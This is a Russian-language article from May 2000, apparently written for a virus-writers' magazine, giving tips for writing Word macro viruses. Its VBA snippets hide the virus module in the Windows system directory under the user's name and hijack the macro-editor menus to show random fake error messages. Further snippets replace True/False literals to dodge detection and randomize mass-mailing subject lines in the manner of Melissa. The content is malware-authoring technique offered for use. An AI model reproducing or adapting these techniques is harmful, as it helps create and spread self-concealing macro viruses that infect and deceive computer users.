09.05.2000 Macr0 Trick [Ultras/Matrix]
функция Environ
***************

   Писал  я  как  то  макрушный  вирус  и  наткнулся  на  очень  старую и
интересную   функцию  Environ.  Чтобы  получить  например  полный  путь к
директории    Windows,   совсем   не   надо   прибегать   к   API-функции
GetWindowsDirectory а получить её можно так:

ultra = Environ ("windir")

Также можно получить следующие переменые:

ultra = Environ ("TMP") 'директория временных файлов TEMP
ultra = Environ ("BLASTER") 'координаты звуковой карты
ultra = Environ ("PATH") 'пути, объявленные в autoexec.bat


System Directory
****************

   Если  вы  используете при заражений EXPORT/IMPORT файл(вирусный файл),
то  для  скрытия  своего  вируса  в  системе  лучше всего не бросать файл
"J0pa.sys"  в корень диска C, а кидать например в системную диру с именем
пользователя..

   Declare    Function    GetSystemDirectory    Lib    "kernel32"   Alias
"GetSystemDirectoryA"  (ByVal lpBuffer As String, ByVal nSize As Long) As
Long ' Используем API функцию

Dim SysDir As String
SysDir = SystemDirectory
If Right(SysDir, 1) <> "\" Then SysDir = SysDir + "\"
' Получим full путь к системной дире....
.VBComponents("NameYouVirusModule").Export SysDir & Application.UserName & ".dll"
' EXPORT вируса на диск в системную диру(модуль вируса имяпользователя.dll).
--- Вирусный код проверки и заражения
.VBComponents.Import(SysDir & Application.UserName & ".dll")
' IMPORT вируса из системной диры (модуль вируса имяпользователя.dll).

' Функция+параметры для получения полного пути к системной дире
Function SystemDirectory() As String
On Local Error Resume Next
Dim Winpath As String
Dim temp
Winpath = String(145, Chr(0))
temp = GetSystemDirectory(Winpath, 145)
SystemDirectory = Left(Winpath, InStr(Winpath, Chr(0)) - 1)
End Function

True & False
************

Лучше не использовать в вирусе метки TRUE и FALSE.. Их можно заменить на:

 Options.SaveNormalPrompt = False  equ  Options.SaveNormalPrompt = (45-45)
 Options.SaveNormalPrompt = True   equ  Options.SaveNormalPrompt = (46-45)


Stealth (random message)
************************

   Если вы хотите чтобы ваш вирус при открытий функций работы с макросами
и  показывал  сообщение  об ошибки, то можно сделать лучше показывать 5(и
более)  разных сообщений рандомно. Тоесть каждый раз при открытий функций
работы с макросами пользователю буду показываться разные сообщения...

 Sub ViewVBCode()
 Stealth
 End Sub
 Sub ToolsMacro()
 Stealth
 End Sub
 Sub FileTemplates()
 Stealth
 End Sub

 Sub Stealth()
 On Error Resume Next
 Randomize
 numberz = Int(Rnd * 5) + 1
 If numberz = 1 Then me$ = "Сообщение 1"
 If numberz = 2 Then me$ = "Сообщение 2"
 If numberz = 3 Then me$ = "Сообщение 3"
 If numberz = 4 Then me$ = "Сообщение 4"
 If numberz = 5 Then me$ = "Сообщение 5"
 MsgBox me$, vbCritical
 End Sub


E-MAiL Sender
*************

   Если вы юзаете в своем вирусе посылку писем по мылу(Melissa), то лучше
всего  использовать  не  один  Subject  &  Body  а  генерировать как выше
указанном методе...

   вот  маленький пример, генерация заголовка письма я думаю Body вы сами
напишите:

 Randomize
 numberz = Int(Rnd * 5) + 1
 If numberz = 1 Then me$ = "Free Antivirus"
 If numberz = 2 Then me$ = "I Love You"
 If numberz = 3 Then me$ = "Please read it.."
 If numberz = 4 Then me$ = "New operation system"
 If numberz = 5 Then me$ = "You are winner!"


ULTRAS[MATRiX]
 9 may 2000



 Статья для журнала Top Device